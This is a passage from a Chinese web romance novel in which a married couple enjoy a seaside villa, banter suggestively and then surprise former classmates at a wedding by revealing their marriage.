那头没回她,估计是还在忙。
饱餐一顿,容微月走出餐厅,呼呼先回到车上,街道上人来人往,行路匆匆,容微月去隔壁的精品店逛了逛,出来走在路边,忍不住给傅蔺征打电话。
那头接起,她软声问:“阿征,你忙完了吗?
她垂下头,“我吃完饭了,你还没忙完呀?
傅蔺征低笑的嗓音传来:“怎么,想我了?
她咬唇:“我说想你,你就会出现在我面前吗?
男人嗓音低沉勾人,落在她耳边:“你可以试试。
她抿了抿唇,轻声道:
“……我想你了,阿征。
随后,男人带笑的嗓音如被风吹来:“抬头看看,我不就出现了么?
容微月倏地抬眸,就见五米开外,傅蔺征长身立于温暖的路灯下,一身黑色长款大衣,肩宽腰窄,腿长逆天,脖颈上银黑色的古巴链泛着银光。
男人逼近一米九的个子,冷厉的眉眼深邃如墨,室外寒风扑簌,人群熙攘,他却仿佛停留在时光中,单单看向她,黑眸如冰雪消融。
容微月怔了怔,立刻跑过去,就被他紧紧拥入怀中。
傅蔺征俯身贴近,低磁的嗓音带着笑:“月月,圣诞节快乐,你老公想你了。
曾经他说的是,新年快乐,你男朋友想你了。
六年后他说的是,圣诞节快乐,你老公想你了。
时间把他从男朋友变成了她的先生。
六年后的冬夜,他的怀抱仍旧朝她敞开,是她最温暖的港湾。
她鼻尖冒酸,弯起唇畔打趣:“傅先生,这是你为我
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第 55 章 “我老婆全世界最可爱。”...
第55章第五十五章
【“我老婆全世界最可爱。】
chapter55
冬夜的别墅客厅,落地灯垂下一片温柔暖黄,沙发上陷着两道身影,容微月依偎在傅蔺征怀里,抬头看向面前的一面落地窗。
窗外,雪花轻盈如絮,缓缓坠落,如梦似幻给花园装点着晶莹的纯白。
一轮白玉般的弯月高悬在天边,隔着云隙朦朦胧胧,月光之下,远处海边映照出斑斓的焰火,焰火如簇绽放,起伏的潮声轻轻涌入耳畔,与屋内壁炉的噼里啪啦的火焰织,像一首冬夜的小夜曲。
容微月的心被裹在热意里。
这正是她曾经无数次在心底幻想的画面,如今在傅蔺征怀里全部成了现实。
她的随口一说被他全部都记在了心里,哪怕岁月流转,他都为她一一兑现了。
就算分手了,她一直还在他的未来里。
傅蔺征没听到说话声,低头一看,怀中的小猫咪眼眶红润,温软的脸颊缩在米白色的围巾里,咬着唇瓣,偷偷在抹眼泪。
怎么像一副被欺负的样子啊,可爱得要命。
傅蔺征轻轻吻掉她的泪珠,宠溺低笑:“就知道带你来这儿你会这样,小哭包。
她嘴硬咕哝:“我才不是……
男人扯唇:“当初在一起的时候我说以后不让你哭了,谁知道你感动了就要哭,吵你睡觉了也要哭,想要了要哭,折腾舒服了也要哭,还说自己不是小哭包?
“……
容微月原本还沉浸在感动中,被他三言两语惹得脸颊冒红,嗔他:“傅蔺征……
她平时很少掉眼泪的,哪怕在工作上压力再大也不这样,但不知为何在傅蔺征面前,好像所有的坚硬都被卸下,柔软得一塌糊涂。
大概是,他太让她有安全感了。
不和他胡闹,容微月环住他的腰,杏眸红润认认真道:“傅蔺征……谢谢你给我准备了那么多惊喜,海边的别墅,澜高的征月楼,还有琴房,我想要什么你都没忘记……
她的目光落向茶几上的那份遗嘱,泪水在再度浸润视线,声音轻哽:“傅蔺征,我不要你遗嘱里写什么我的名字,我只要你平平安安地活着,那些到一百岁的生日礼物,以后每年都要你亲自拆给我看,你要陪着我一辈子……
傅蔺征看着她,哑声应下:“好。
他抬手揉着她头发,垂眼言:“我们分手那几年,我还是在拼命比赛,努力拿冠军,外界觉得我挺有事业心的,但其实我自己知道,再多的冠军也让我开心不起来,对我来说,活着或**都无所谓。
她听得鼻尖酸涩,他注视着她的
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眸低笑指腹擦她眼尾的泪花:
“但现在不一样了月月现在又回到我身边了每天一睁开眼你就躺在我身边就好像生活又回到了正轨。”
男人懒声道:“现在每天能给你做饭看你一点点被我喂胖陪你一起看电影、逛超市、遛呼呼还能和你做到每天都做到天亮我怎么能不惜命?”
容微月越听越不对劲红着脸弯眉嗔他:“你重点是哪句啊……”
傅蔺征浑坏看她:“你说呢?”
容微月弯唇脑袋蹭蹭他颈窝轻声道:“以前抑郁症发作的那段时间我也觉得活着和**没什么区别但是现在我也很惜命……”
她莞尔仰头看他嗓音温柔坚定:“所以现在我们都要好好珍惜对不对?”
傅蔺征凝视着她黑眸印刻满腔柔意:
“当然。”
往后余生朝朝暮暮。
他们都要并肩一同往前走。
傅蔺征倾身吻住她容微月轻阖上眼眸双臂环住他的脖颈心河荡起涟漪。
窗外月色皎皎明亮潮起涨落拍打岸边一晚上声声不息。
-
翌日早晨傅蔺征还要去训练临走前给小姑娘准备好了早餐才离开。
九点多容微月睡醒拉开落地窗前的窗帘天海一色湛蓝浩瀚美得心旷神怡。
她从未想过许多年后自己真的会与傅蔺征在海边拥有这样一个家。
伸了个懒腰她洗漱完走出卧室呼呼正在二楼客厅里咬着玩具听到她的声音小家伙耳朵和蒲扇一样扑扑跑过来仰着眸甩着尾巴看她仿佛在和她说妈妈早上好。
她眉眼弯弯抱起小团子软声笑道:“呼呼你也很喜欢我们的新家对不对?”
呼呼乖乖舔了舔她的指尖
下楼去吃傅蔺征出门前给她准备好的早餐吃完早餐容微月窝在圣诞树下拆了拆之前傅蔺征给她准备的生日礼物又去后花园修剪了下花花草草最后去玻璃琴房拉琴。
冬日温暖的阳光肆意洒进来灰尘在光道里轻柔跳跃房间窗明几净如剔透的水晶她拉起小提琴琴音在通透的空间中回荡仿佛连远处的海浪也与之配合。
练完琴后容微月慵懒跌坐在柔软的地毯上视线落向远处的大海。
呼呼跑来钻入她怀中她顺势把它抱在屈起的膝上唇角漾开浅浅酒窝轻声喃喃:
“呼呼怎么办啊……我现在越来越喜欢傅蔺征了他怎么能这么好呢。”
她摆动着它白棕色的小耳朵让它跟蒲扇一样开开合合一边碎碎念:“你说傅蔺征怎么能这么完美呢长得又高又帅身
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材又好,笑起来特别好看,从高中就保护我陪着我,喜欢我到现在,结了婚也宠着我,把什么好的都给我,就就……他的优点多得我都数不过来了。”
她笑意妍妍,眼尾都漾着光:“呼呼,你说你去哪儿找了个这么好的爸爸,我去哪儿找了个这么好的老公呀?我们也太幸福了吧,等他回来,我要抱住他狂亲一顿,把他亲哭。”
她话音刚落,琴房门口传来一声低笑。
???
她倏地转头,只见话中之人慵懒倚在门口,一身黑色冲锋衣,双手插兜,工装裤勾勒长腿,一张脸骨相优越,周身松弛又张扬。
不知道这人站了多久,此刻看着她,像极了从前上课偷偷在桌下偷偷把玩她手的痞坏模样。
男人眉梢挑起,一副屈从的样子:
“宝宝,我准备好了,来吧。”
“……”这人竟然偷听他讲话!
容微月脸颊像熟透的小樱桃:“傅蔺征,你过分,哪有你这样偷听的。”
他走过来,她害羞想逃,就被他拉进怀中,直勾勾看她:“不是说要亲哭我?逃什么?要不要看看到底是谁把谁亲哭,嗯?”
她被他压在毛茸茸的地毯上,半晌唇瓣盈盈胭红,小口呼吸呜呜求他,男人唇角扯起:“是谁被亲哭?”
没见过他那么坏的人,她白皙脸颊上晕开清透的桃色,忍不住投降:“呜呜……是我……傅蔺征你怎么那么坏……”
傅蔺征唇角勾起,俯身在她脸颊落下一吻:“宝宝怎么这么可爱啊。”
明明他已经特别爱她,可现在他每天都能感觉自己越来越爱她,没有上限。
把她抱到怀中,傅蔺征拿出手机,点开录音,悠然道:“刚刚你说的我都录音了,容微月,没看出来我在你心里这么完美啊?都夸得语无伦次了。”
“……??”
他把录音播放出来,她又羞又想笑让他删掉,他不同意,她问:“怎么,你还要半夜拿出来偷偷听吗?”
傅蔺征淡淡道:“以后去国外比赛,压力大或者心情不好的时候,就拿出来听一听,听着听着,晚上就能睡得着了。”
容微月呆了呆,以为他是想拿这语音逗趣她,没想到他是为了这个原因,心底塌陷抱住他:“笨蛋狗狗,以后我经常夸你好不好?你睡不着就找我呀,我陪你打电话,我肯定比这个录音有用啊。”
傅蔺征笑,缱绻在她眉间落下一吻,“好。”
两人聊着天,傅蔺征问她今早在别墅待得如何,她说好幸福,这里的每一个装修她都好喜欢,“你当初装修了两年?”
“大一下买的,大四上装好的,中间和装修公司一直在沟通,想着这些你会喜
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欢。
“你当时有没有想过这里会成为我们的家?
傅蔺征摸摸她脸颊,“一开始没想过,后来就越来越想了,想把你追回来,想让这里有我们共同的回忆,想和你一起看月亮、听潮汐,想你不单单只活在我的梦里,而是真实地在我身边。
容微月红唇弯起:“嗯,我现在就真实地在你身边了。
他也终于不单单活在她的梦里。
触手可及,永远不离。
在海边别墅待了几天,因为京市还有工作,傅蔺征和容微月被迫要回去了。
容微月走时恋恋不舍,恨不得把海和别墅搬去京市,傅蔺征低笑哄她:
“以后我们周末过来住?反正离得很近,私人飞机直接就过来了。
当初傅蔺征选择把海边别墅买在国内,是因为这里离京市近,就算以后他不在她身边,来这儿她也不会觉得离家乡太遥远而无法适应。
至于国外,他其实也挑了十二套世界各地的海边别墅,有的装修好了,有的还在装修,不同的风格,但都有她爱的后花园和玻璃琴房,“以后不管你在哪儿,都有想要的家,我们可以去看不同的海,听不同的潮汐,怎么样?
容微月心里又暖又甜,点点头,“不管在哪儿,只要有你和呼呼在的地方,就是我的家。
现在每一天的生活,她已经很满足了。
回到京市,容微月和傅蔺征继续投入各自的事业,两天后,傅蔺征要去国外参加一个金融峰会,又要出差一趟。
晚上在卧室里收拾行李,傅蔺征柔声对正在看书的容微月:“我忙完会尽快回来,每天都会和你报备在干什么,你不会联系不到我的,万一有急事联系不到,就联系怀裕。
容微月笑笑:“没事,我知道你现在工作忙,我不介意这个的。
男人注视她:“不想再给你当初的感觉,反正你找我我都在,遇到什么都要告诉我。
那段曾经的缺席,让他心底有了阴影,所以如今格外在意。
容微月笑颜乌浓:“我知道你都在,我现在也不会胡思乱想了。
她拽住他衣领,揶揄:“我觉得就是某人舍不得我,舍不得我就直说,还装。
傅蔺征笑了,把她抱起来,嗓音低蛊:“是,我用行动让你看看我有多舍不得你。
容微月被扔到被子上,脸红:“傅蔺征,你行李还没收拾完呢。
“那不重要,先做正事。
他倾身而来咬她耳垂,气息沉沉,压迫感拉满:“宝宝,我新买的套已经在路上了,过两天到了你要签收一下,一共五十盒,每个房间都要放两盒,知道么?
她耳根冒红,“为什么
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每个房间都需要……”
他黑眸锐利:“哪个房间我们没做过?提前备好以备不时之需等会儿我回来发现哪个房间没准备就在那个房间直接惩罚。”
傅蔺征浑起来太坏了可偏偏遇到的是小野猫她眨着眸子故作无辜看他:“什么惩罚呢?”
他勾唇:“我就去买各种玩具先用玩具然后老子再从后面从侧边再抱着你去镜子前让你清楚看着我是怎么把你弄到p的抱着你走把你弄散架。”
他给她形容着她脸颊红到滴血“坏蛋……”
“宝宝我平时对你已经很温柔了。”
他灼烈的吻落下带她闹到深夜第二天早晨傅蔺征又缠了上来。
最后他掐着点出门八点多时容微月被闹钟叫醒感觉自己像是个破旧的布娃娃都没办法爬起来。
就没见过傅蔺征这么坏的……
昨晚一开始哄她只一个小时
努力坐起来薄被从她滑腻的肩头滑落身上星星点点明显唇瓣水润嫣红如海藻般的柔软黑发披散在肩后像朵被露珠滋养的山茶花满了风轻。
呜呜呜昨晚又帮他完成椰汁清仓活动了……
甚至最后他还做了一份椰汁舒芙蕾舒芙蕾都磨得痛了。
白绒绒的小猫咪趴在枕头上低头看了眼领口拿出手机气鼓鼓控诉那头的傅蔺征:
【大混蛋坏狗狗早晨拍拍屁股就走了我都没力气上班了回来不给你了……】
她凶得喵喵叫那头傅蔺征准备登机看到她信息恨不得又回去亲她一口。
傅蔺征发来语音拽懒含笑的嗓音传来:“宝宝我怎么就叫拍拍屁股走了?给你洗了澡洗了内裤抹了药还把床单换了落地窗前的水擦干净了早餐也准备好了这才走这叫拍拍屁股?”
“……”
男人懒洋洋揶揄:“而且最后你颤了好久我还抱着你哄了好久我这善后还不行啊?”
容微月:“……”
坏**!!!
她说不过他羞得挂了电话。
爬起来洗漱她看到餐桌上丰盛的早餐都是她喜欢吃的但还是选择不原谅晚上回到家门口的快递已经到了满满一大箱。
她拆开看全都是特大号脸红拍照了下发给傅蔺征:【我转头全给丢了。】
那头悠悠然道:【随意你丢。】
……她感觉她要真丢了后果就不敢设想了。
傅蔺征出差了四天最后一天恰好就是同班同学张淳和晓安的婚礼。
如今除了几个要好的朋友班里同学都还不知道
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她和傅蔺征结婚的消息。
前一天晚上俩人打视频电话,傅蔺征问:“明天傍晚我飞机回来,去工作室接你,嗯?
从机场到晴月阁再去酒店,要绕好一大圈,她不想他这么奔波,“我们直接酒店汇合吧?我刚好要去接殷绿。
傅蔺征应下,感慨道:“真期待明天,一定很热闹呢。
“……
容微月害怕:“你别闹出什么事来啊。
傅蔺征轻笑,“怎么会呢,我向来最低调了。
“?
第二天,一大早傅蔺征就发来信息:【老婆,你今晚去婚礼穿什么衣服?】
她愣了愣,把裙子拍给他看:【这套,怎么啦?】
那头道:【OK,刚好我也有同色系。】
“?
这人不会是要和她穿情侣装吧……
下午容微月在工作室直播完,开车去往市中心,接上殷绿。
殷绿感叹:“班里同学都以为你们没希望了,上次校友会聚会你俩坐那么远,话都不讲一句,好多人私底下还阴阳怪气,说现在傅蔺征都看不上你了,呵呵,想到他们今晚要被打脸就痛快!
容微月浅浅一笑,无所谓道:“管他们呢,反正难听的话我高中又不是没听过,我没觉得被明恒太子爷喜欢是什么沾沾自喜的事,但被傅蔺征喜欢是件幸福的事。
她珍爱他的爱,是因为傅蔺征这个人,从来不是他的身份和地位。
而后殷绿手机震动,她接起电话,声音忽而变得温软几分:“嗯,好呀……我和月月快到了,你随便买两杯热饮就行,我们不挑的。
打完电话,容微月转头打趣她:“谁啊?第一次听你讲话跟撒娇一样。
殷绿压下红唇,“哪里有。
“脸都红了还没有,装什么呢。
殷绿笑,“容微月,你现在说话和傅蔺征好像啊!不愧是夫妻!
她自知瞒不过去,揉了揉烫乎乎的脸:“我告诉你,你可先别往外说啊。
容微月应下,殷绿羞赧半天才小声道:“是……湖安啦,他最近在追我。
容微月点头,“那你答应了吗?
“月月,你怎么一点不惊讶?!
容微月忍俊不禁:“之前去捉奸,他为了你都揍渣男了,那个时候他喜欢你不就很明显了吗?
“敢情我才是大直女啊,我当时还以为他就是单纯仗义呢。
殷绿分手后,湖安就和她联系多了起来,一开始以为他只是把她当朋友,直到一次次见面增加,他带她去看电影逛游乐场,还给她做甜品,殷绿再怎么直女也感觉出来不对劲了。
前几天湖安和她正式告白了,说高中的时候就喜
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欢她,因为自卑不敢靠近,重逢后她有男朋友了,他也只能克制爱意
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,但现在她单身了,他想勇敢一次,谈一场奔着结婚而去的恋爱。
湖安说她可以慢慢考虑,他反正一直追她,追她一辈子可以,一个理工男难得如此浪漫。
容微月听完,也替闺蜜开心:“你是可以好好考虑他呀,毕竟高中同学知根知底,而且我觉得你们在一起就是迟早的事,你满脸都想着扑上去了。”
殷绿笑嗔她:“坏月月,现在轮到你调侃我了啊……”
二十分钟后,两人到达酒店,下车进门时,湖安和夏斯礼正等在一楼大厅,湖安笑笑看向殷绿,把饮品递给两个女孩子,“冷不冷?赶紧喝点暖的。”
“刚从车上下来呢,不冷……”
夏斯礼痛苦感慨:“绿绿,你可算来了,这人问了我一个小时他该怎么安排后天的约会,**我一个单身狗我能知道!他现在整颗心恨不得割下来捧到你手里,这么傻的男孩子你还是赶紧收了吧!”
殷绿脸红笑,“夏斯礼你够了啊,被你说的怪恐怖的……”
夏斯礼揽住湖安肩膀,“安子,你真要请教,问我可没用,你要去问微月阿征是怎么追她的,我们当中谁有傅蔺征会追人啊!浑身的功夫全使在微月身上了,腹黑小手段一套一套,你看看,人家现在都是一个户口本上的关系了。”
“阿征这么腹黑啊?”湖安笑问。
容微月双眸弯成月牙:“那人套路很多,还厚脸皮地黏上来,我拿他没办法。”
三人直呼:“这话是在秀恩爱吧!!”
夏斯礼问容微月傅蔺征什么时候来,她看了下时间:“估计下飞机了,过来还要四十分钟。”
夏斯礼拍了拍胸口:“还好,我还有四十分钟的喘气时间,不然我今天这狗粮要吃多少啊。”
“哈哈哈……”
四人搭乘电梯上楼,到达婚宴厅所在的楼层,见到了正在拍照的新娘子和新郎,上前恭贺,张淳和晓安笑说准备了一个包厢让他们先去喝茶叙旧,班里同学们都在。
推门而入,包厢里头闹哄哄的,有二三十个同学都在,大家热情招呼他们进来。
众人一眼就被容微月吸引目光,她今天一袭焦糖棕色羊毛呢大衣,腰带勒出她盈盈一握的细腰,内里是高领羊绒毛衣和暖米白长裙,浅驼色羊绒围巾搭在脖子上。
容微月肤色清透冷白,眉眼温软,琥珀色的眼眸泛着清澈的光,唇色点点胭脂,身段纤柔,冷调的美如同不染纤尘。
每次容微月一出场,都能美到惊艳。
看到她,有人惊喜,有人欢迎,也有几个向来不喜欢她的眼底露出讥讽。
打扮
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得那么好看干嘛,还不是被人甩了,死要面子。
“欢迎欢迎,你们总算来了啊,赶紧给他们腾位置。曾经的副班洪乐叫他们坐下,里头是一张大沙发,还有几张椅子围成一圈,容微月照例坐到角落的椅子上,殷绿陪她一起。
洪乐给她们倒茶,“微月,你最近忙不忙啊?看你平时都不在群里说话啊。
容微月淡淡一笑:“年底了要赶工,我刚刚加班完才来。
“手工艺品就是这样,快过年了就好了。
一旁一个女人插话笑道:“微月,我们刚才还在讨论你呢,还担心你怕尴尬不来我们同学聚会了。
容微月看过去,对方名叫朱容,那次校友会聚会上,她在厕所就是听到朱容把她和傅蔺征的事告诉其他班的女生,之前在高中就没少在背后议论她。
殷绿冷笑维护闺蜜:“这有什么好尴尬的,参加个同学婚礼而已。
有男生弓身喝着茶,是之前追过容微月被拒绝的,淡笑暗讽道:“是啊,之前的事都过去了,有什么可尴尬的,对了,听说今天征爷也会来,不知道他什么时候到啊?
几人默默相视一笑,有人道:“傅蔺征他那么忙,不知道这次来能不能带个女朋友什么的。
“我们可太期待他谈恋爱了,你们说傅蔺征能喜欢什么样的女孩子啊?
朱容弯唇,视线瞟向容微月:“那谁知道,总不能还是内向清冷挂的吧,肯定腻了。
几个女生跟着笑出声,殷绿欲怼人,就被容微月拦住,她心里倒是无波无澜。
傅蔺征在,他能忍得了这些?
夏斯礼把茶杯放到茶桌上,扯起唇角:“阿征喜欢什么样的还轮不到外人猜测,可别乱说话啊,他要发起火来可不得了。
几个女生也不敢惹夏斯礼,见有人帮衬容微月,不爽收敛笑意,这时门口传来同学的声音:“说曹操曹操到,征爷来了!
大家纷纷转头,就看到傅蔺征映入大家面容,男人一身深棕色大衣,身型高大挺阔,肩头沾着未化的薄雪,像是从寒冬风雪中而来。
他没戴围巾,领口微敞,露出内里的深灰高领与锋利的锁骨,断眉下黑眸浓烈,气场拉满。
“欢迎征爷!!姗姗来迟啊!
“听说阿征是刚下飞机赶来的?赶紧赶紧,给他让个位置!
“阿征你不来,我喝水都不香了!
兄弟们上去和他勾肩搭背,傅蔺征唇角弧度懒洋洋,眼皮上的黑痣挑起,目光越过其他人,直直落向坐在角落的容微月。
他明晃晃盯着几日未见的小姑娘。
她心河荡漾,悄然弯眉。
张淳和晓安也进来,一屋子愈
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发热闹,傅蔺征被迎着坐在沙发侧边,在容微月斜对面。
傅蔺征挑眉看来,她垂眸压下唇角,没打招呼。
得,这是又想玩儿暗度陈仓了。
他靠坐在沙发上,面色怡然也没说话,周围湖安、夏斯礼和殷绿三个看着,都笑而不语,有男生问:“征哥,你刚下飞机赶过来啊?
“昂,他没接过茶,拿起旁边的矿泉水,“提早了一个航班,毕竟今天这日子很重要。
他话中有话,旁人却没听懂,笑:“我说什么来着,阿征答应了就一定会来的,他还提早回来了!
“淳子,你看阿征也对你太上心了啊!!
张淳感动:“毕竟我和晓安是我们班第一个结婚的情侣啊,意义非凡,这次元旦大家基本都来了,太给我面子了啊。
他先拿茶说以茶代酒敬傅蔺征一杯:“阿征,不愧是当初一起打球的好兄弟,以后等你结婚,我一定尽我所能给你包个大红包,我先跑到爱情终点,以后我就期待喝你的喜酒了啊哈哈哈。
洪乐笑:“我们哥几个儿都有对象了,明年我、章哥,虎子都要订婚,我们当中肯定是阿征最迟了。
同学们笑:“对啊,征哥还没对象呢,他眼光高,上次校友会都说了,现在对谈恋爱不感兴趣。
傅蔺征听着,薄唇懒启:“不好意思啊,我现在对谈恋爱极度渴望,谁跟你们说我不感兴趣了?
“嗯????
男人慵懒转动着左手无名指的戒指,笑:“估计比你们早,我婚礼也在明年。
全场都愣了一秒。
“婚礼?!
“征哥你开玩笑的吧,什么婚礼?!
“哈哈哈征哥你这够会开玩笑的啊!
“**不对不对,你们看傅蔺征手上,那是婚戒吗?!
全场目光齐聚在他无名指上,真的看到了一个戒指,包厢顿时炸锅,“征爷,你没逗我们吧,你真结婚了?!!!!!!
傅蔺征抬眉,视线若有若无落向斜对面的小姑娘,唇角弧度明显:“有问题么?
全场炸锅:“**!!征哥你不是上次校友会还说没女朋友,这还不到两个月婚都结了?什么操作!!
“这是闪婚吧?偷偷领证惊艳我们所有人啊!
旁边默不作声的夏斯礼和湖安强忍笑意。
还得是傅蔺征,太装了吧!!!
容微月对上傅蔺征怡然深长的目光,耳根都红透了,难以想象这人此刻内心嘚瑟到什么程度了。
她今天在工作室忙碌,就把婚戒收在了包里,没戴在手上,所以旁人并没有察觉。
全场激动替傅蔺征高兴的时候,也有几个人瞟向容
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第 56 章 “宝宝,提前补充点水分。”...
第56章第五十六章
【“宝宝,提前补充点水分。】
chapter56
包厢门口,傅蔺征慵懒地搂住容微月,亲昵甜蜜的话旁若无人地落下,清晰地砸进全场同学们的耳朵中,空气滞了瞬,像是被按下了静止键。
——宝贝,是不是要重新介绍一下我们的身份。
宝贝?!!!!
短短两个字,震得人瞪大眼睛,心跳骤停:
“**,征哥你喊容微月什么?!
“我靠你不会说的老婆是容微月吧?!
“不可能吧,你们俩结婚了?
一时间,全场哗然炸开。
傅蔺征神色淡定,亲昵地揉了揉容微月的耳垂,眼底晕开几分笑意,挑眉看向众人,懒洋洋开口:
“不然呢,这么亲密的社交距离,月月不是我的老婆还是谁?
“!!!
包厢里顿时轰然震翻,全场炸裂,掌声、惊呼声、尖叫声此起彼伏,音浪快要掀翻屋顶。
如果说刚刚傅蔺征结婚的消息像是颗**,那么此刻他和容微月结婚的消息就宛若****,毁天灭地让集体失控。
远处的亲戚朋友都好奇地看过来,不知道发生了什么惊天动地的的事。
有男生激动:“不是吧没在逗我们吗?搞了半天嫂子原来就在眼前啊!真还是微月?!
“这两人刚刚故意瞒了那么久!原来我们才是play的一环啊!!
周围人上蹿下跳:“刚才这俩人进来一句话不说,我们都以为你们就是陌生人了!
“难怪我感觉阿征今天这么高调啊!
“微月,你和征哥是复合了吗?
容微月笑了笑,也不好再演下去,挽住傅蔺征的胳膊:“嗯,我们又在一起了。
“天哪,官宣了!!
好多同学都替这对高中就在一起的神仙眷侣修成正果而高兴,傅蔺征手插着兜,随手一捏,悠然道:
“口袋里什么东西这么硌手啊?
他话落,众人就看到他随后掏出来一个东西——
一本红彤彤的结婚证。
傅蔺征淡然挑眉:“怎么回事,不小心把结婚证带在身上了呢。
“**!这是结婚证明都拿出来了!
“结婚证让我们看看!
“我怀疑这人就是故意的带在身上,就等着这一天呢!
得到允许,大家激动传阅,张淳和晓安看到日期震惊:“诶不对啊,你们比我们还早两天啊?
傅蔺征:“不好意思,弯道超车了下。
大家激动:“敢情征哥和微月才是我们班第一队结婚的情侣啊?!
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“诶这日期前一天不是校庆吗?”
“可是你们那天校庆聚会吃饭的时候都没讲话啊?坐得还那么远。”
容微月对上傅蔺征的目光弯起眉眼含笑解释:“校庆那天……我们遇到点事小小地冷战了下第二天我们就和好了顺道也把证领了。”
大家没想到那是小情侣吵架啊张淳搂着晓安难过说他们当初嘚瑟得太早了闷声干大事的人是这俩人:
“阿征真的太狗了亏我昨天和安安提到你们时还特别惋惜来着你俩高中是真的甜连老师都觉得你们般配。”
大家看到一旁笑个不停但很淡定的夏斯礼几人明白过来他们也是装的了气得声讨他们夏斯礼勾唇:“那他们夫妇俩要演我们只能配合演出啊再说了你们还不了解傅蔺征吗高中到现在他身边除了微月还有其他人吗?”
“也是啊难怪刚刚听他那么形容这是暗戳戳地当众跟老婆表白呢!”
“今天我来以为只要吃淳子和晓安的狗粮没想到更大的狗粮直接当头砸下来!”
“今晚我不灌淳子和晓安了必须狠狠灌他们俩的酒!”
笑闹声此起彼伏坐进婚宴厅里大家还在看结婚证说不愧是当初的校花和校草男帅女美天造地设拍出来的照片也特别般配。
傅蔺征收回传过来的结婚证而后看向朱容几个黑眉压下似笑非笑:“怎么着?你们几个刚刚不是最好奇我和谁结婚了现在证都摆在眼前了要不要再确认下?”
几人:“……”
傅蔺征唇角挑起冷冷的弧度:“不过你们也不用看照片吧刚刚不是盯着我老婆看了好久了?有什么问题可以直接问我谁让我听到在背后议论我老婆那只能后果自负了。”
他语气平静却带着极重的压迫感
夏斯礼笑:“对啊阿征特别护短谁要是敢欺负他老婆他可不留情面的。”
朱容几个脸成了猪肝色再也不敢说话了。
话题被转走容微月也压根不在意那群人她看到傅蔺征指尖把玩着结婚证面颊薄红:“难怪你说今天会很热闹这是你蓄谋已久的吧?”
傅蔺征慵懒挑眉“我需要蓄谋已久吗结婚证我每天都带在身上随时发挥。”
“……”
这人估计都倒背如流了。
他给容微月倒热饮一旁洪安好奇问:“阿征那你们当初分手是隔了这么多年才复合的?”
“嗯。”
有人问:“那重逢后又是谁追谁啊?”
“对啊我们也好奇!
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”
傅蔺征慢条斯理牵住容微月的手,唇角宠溺挑起:“我和月月之间,什么时候轮到她主动?当然永远都是我追她。”
“**傅蔺征今天鲨疯了!!”
“这人也太会了!现场没对象的赶紧学习!”
“微月,也就你能治得了阿征这么臭屁的,你这是重逢之后没抵挡住他的攻势啊!”
容微月看向傅蔺征,眼底荡漾开澄亮的笑意:“不是,是我一直都喜欢他,只要有他出现,就看不见其他人了。”
这表白大家直呼遭不住,傅蔺征唇角弧度压抑不住:“当然,这么多年我也一直在等她。”
“哇啊啊啊啊——”
“这糖太齁了!!”
“完了完了,我今晚是真的酸到没心情吃饭了!”
“这俩人绝对故意来撒狗粮的!”
傅蔺征倾身看向身旁的小姑娘,轻捏她的手,黑眸灼灼:“戒指呢,又偷偷藏起来?”
容微月羞赧从包里取出,那是属于她的独一无二的月亮戒指,傅蔺征接过,稳稳套在她的指间。
灯光反射下,戒指流转着清冷璀璨的光辉,像夜空里最皎洁的弯月,大家都被美到,问到价格,傅蔺征只笑了笑,没正面回答,但大家都懂了,以这人的有钱程度,单说这一个戒指,就是他们几辈子都赚不到的钱了。
这也太宠溺了吧!!
“阿征,你这个戒指啥时候做的啊?我之前都没听你说过。”夏斯礼倒也是第一次见到。
“挺久了,二十岁。”
“那么久之前?!”
傅蔺征淡淡道:“在国外创业赚到的第一笔钱去定制的。”
周围感叹:“天哪,阿征真的是情种了,分手后还买戒指……”
“这么多年原来征哥一直都没放下啊。”
容微月眼底冒酸,看向身旁的男人,声音轻轻只有他听到:“其实你没带我去海边别墅之前,我一直以为这戒指是你前段时间定制的。”
他笑着揉揉她头:“我们结婚那么突然,当时买怎么来得及?”
“那戒指上我们的名字……”
“是之前就刻好的。”
她呆住:“如果,如果万一我没有和你复合呢……”
傅蔺征敛眸,嗓音微哑:“那就放在那儿,反正我这辈子不会娶别人,就当在梦里我娶到你了。”
容微月闻言,热意冲击得鼻尖发酸。
要么娶她,要么孤独一生。
在傅蔺征的世界里,她从来不是最优选择,而是唯一选择,哪怕还有千万种更优的道路,他都可以尝试,可他从来没有考虑过。
她多么幸运,此生能得他相伴。
这时班主任等老师也来了,同学们连忙请老
听说看这本书的人都是很幸运的,分享后你的运气会更棒
师们坐下,激动地说了容微月和傅蔺征结婚的事,本来还想让他们惊喜一场,结果却发现他们笑得淡然,丝毫不意外。
班主任邴峰说他早就知道内部消息了,“上个月我还见过蔺征和微月,他俩可恩爱了,澜高的那两栋新楼就是他们夫妇俩捐赠的,一个叫‘征月’,一个叫‘潮汐’。
大家闻言感叹说这就是有钱人的浪漫吗,“这狗粮撒得太好了,还能造福母校哈哈哈哈。
旁边有个女生拈酸吃醋:“真羡慕微月,长得漂亮就是招人疼,咱们可遇不到一个这么深情的人。
女生当初在班上就是碎嘴子,惹人讨厌,但因为是张淳表妹,所以这次才会被叫来,她一来就黏着当初的同学们问东问西,但大家却对她避而远之。
夏斯礼轻笑:“哎哟,你们有没有闻到空气中有股醋味啊?
洪乐附和:“是有点啊,味儿太冲了,谁身体不好该去看病了啊。
大家笑,女生脸色微僵,傅蔺征如刃的黑眸落了过来:“不是月月幸运遇到我,而是我们幸运遇到了彼此,我老婆浑身都是闪光点,我都喜欢不过来了,长得漂亮不是她最普通的优点?
傅蔺征正面维护,女生顿时哑口无言。
旁边有其他女生接过话,说容微月一直很优秀:“微月读书好,那时候的奖状就一摞一摞的,艺考分数全市第一,高考分数也是裸分能上清大的,人家现在自己开店当老板,传承非遗,这履历也吊打现在很多人了吧?
有同学附和:“而且微月人很好,我高中问她问题,她耐心给我解答了很久,有次体育课我身体不舒服,她大热天还跑去超市给我买了饮料。
体委也说:“你们还记得高三刚开学的军训吗,那个变态教官让我们一直罚站,好家伙,当时微月直接装晕过去,给那教官吓得半死!
当时殷绿正好生理期,那天晒得面色惨白,教官却不管,容微月索性装晕,引来了班主任,在医务室里她轻声说:“是我们太不优秀了,让李教官失望了,他让我们在四十度的太阳底下一直罚站,是为了锻炼我们的意志,如果喊累就是矫揉造作,所以我就是晕过去也不能喊苦喊累,我希望能得到教官的认可。
当时邴峰听了气得不行,教官脸色都绿了,后来被领导痛批了一顿,直接撤人换来一个新的教官,这才让大家脱离苦海。
大家笑:“你们不知道当时微月说‘茶言茶语’有多可爱哈哈哈!
“微月就是看过去清清冷冷的,不好接近,但接触过都知道,她特别温柔好相处。
很多人都认同,高三一整年下来,大家都知道容微月的好。
